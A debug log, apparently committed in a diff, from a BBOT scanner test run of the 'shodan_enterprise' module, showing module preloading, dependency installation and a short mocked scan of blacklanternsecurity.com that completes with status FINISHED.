BBOT module +2026-02-27 19:07:13,962 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 19:07:13,965 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 19:07:13,965 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 19:07:13,967 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 19:07:13,967 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 19:07:13,969 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 19:07:13,969 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 19:07:13,970 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 19:07:13,971 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 19:07:13,972 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 19:07:13,972 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 19:07:13,973 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 19:07:15,071 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:07:15,072 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:07:15,072 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 19:07:15,219 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 19:07:15,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 19:07:15,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 19:07:15,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 19:07:15,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 19:07:16,034 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 19:07:16,036 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 19:07:16,145 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 19:07:16,146 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 19:07:16,198 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 19:07:16,201 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 19:07:16,202 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 19:07:16,709 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 19:07:16,710 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 19:07:24,724 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 19:07:24,725 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 19:07:24,725 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 19:07:26,672 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 19:07:26,674 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 19:07:26,679 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:07:26,679 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 19:07:26,679 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:07:26,680 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 19:07:26,680 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:07:26,680 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 19:07:26,681 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:07:26,681 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 19:07:26,682 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 19:07:26,682 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 19:07:26,687 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/3or2b2kbwtdfjxev7ex3 +2026-02-27 19:07:27,478 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 19:07:27,479 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 19:07:27,481 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 19:07:27,600 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 19:07:27,601 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 19:07:27,601 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 19:07:27,602 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 19:07:27,603 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 19:07:27,603 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 19:07:27,603 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 19:07:27,604 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 19:07:27,604 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 19:07:27,605 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 19:07:27,605 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 19:07:27,606 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 19:07:27,606 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 19:07:27,606 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 19:07:27,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 19:07:27,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 19:07:27,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 19:07:27,607 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 19:07:27,607 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 19:07:27,607 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 19:07:27,607 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 19:07:27,608 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 19:07:27,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 19:07:27,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 19:07:27,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 19:07:27,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 19:07:27,609 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 19:07:27,609 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 19:07:27,609 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 19:07:27,609 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 19:07:27,609 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 19:07:27,610 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 19:07:27,610 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 19:07:27,610 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 19:07:27,610 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 19:07:27,610 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 19:07:27,612 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 19:07:27,612 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 19:07:27,612 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 19:07:27,615 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 19:07:27,756 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_eqkg7zwg0n +2026-02-27 19:07:27,756 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 19:07:27,868 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 19:07:27,868 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 19:07:27,868 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 19:07:27,870 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) +2026-02-27 19:07:27,969 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) passed post-check +2026-02-27 19:07:27,970 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) +2026-02-27 19:07:27,971 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) in-scope because its main host matches the scan target +2026-02-27 19:07:27,972 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) +2026-02-27 19:07:27,974 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:07:27,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:07:27,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) passed post-check +2026-02-27 19:07:27,976 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) +2026-02-27 19:07:27,977 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:07:27,979 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 19:07:27,979 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:07:27,981 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:07:27,982 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:07:27,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:07:27,984 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 19:07:27,989 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config +2026-02-27 19:07:27,990 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) +2026-02-27 19:07:27,991 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) passed post-check +2026-02-27 19:07:27,991 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) +2026-02-27 19:07:27,992 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) +2026-02-27 19:07:27,993 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) because precheck succeeded +2026-02-27 19:07:28,069 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 19:07:28,071 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:07:28,071 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) from TARGET +2026-02-27 19:07:28,072 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) passed post-check +2026-02-27 19:07:28,073 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 19:07:28,074 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 19:07:28,074 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 19:07:28,075 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 19:07:28,076 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 19:07:28,077 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 19:07:28,077 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 19:07:28,077 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 19:07:28,177 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 19:07:28,179 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 19:07:28,198 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 19:07:28,198 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 19:07:28,199 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 19:07:28,211 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 19:07:28,212 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 19:07:28,212 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 19:07:28,213 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 19:07:28,214 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 19:07:28,215 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 19:07:28,327 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_eqkg7zwg0n completed in 0 seconds with status FINISHED +2026-02-27 19:07:28,327 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 19:07:28,328 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:07:28,329 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 19:07:28,330 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 19:07:56,802 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 19:07:56,812 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 19:07:56,813 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 19:07:56,814 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 19:07:56,815 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 19:07:56,817 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 19:07:56,817 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 19:07:56,818 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 19:07:56,819 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 19:07:56,820 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 19:07:56,821 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 19:07:56,822 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 19:07:56,822 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 19:07:56,823 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 19:07:56,824 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 19:07:56,825 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 19:07:56,825 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 19:07:56,826 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 19:07:56,827 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 19:07:56,828 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 19:07:56,829 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 19:07:56,830 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 19:07:56,830 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 19:07:56,832 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 19:07:56,832 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 19:07:56,833 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 19:07:56,834 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 19:07:56,834 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 19:07:56,835 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 19:07:56,837 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 19:07:56,837 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 19:07:56,840 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 19:07:56,841 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 19:07:56,842 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 19:07:56,843 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 19:07:56,844 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 19:07:56,845 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 19:07:56,846 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 19:07:56,846 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 19:07:56,847 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 19:07:56,847 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 19:07:56,848 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 19:07:56,849 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 19:07:56,850 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 19:07:56,851 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 19:07:56,852 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 19:07:56,852 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 19:07:56,853 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 19:07:56,854 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 19:07:56,854 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 19:07:56,855 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 19:07:56,855 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 19:07:56,856 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 19:07:56,856 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 19:07:56,857 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 19:07:56,858 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 19:07:56,858 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 19:07:56,859 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 19:07:56,859 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 19:07:56,860 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 19:07:56,860 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 19:07:56,861 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 19:07:56,862 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 19:07:56,866 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 19:07:56,867 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 19:07:56,868 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 19:07:56,868 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 19:07:56,869 [DEBUG] 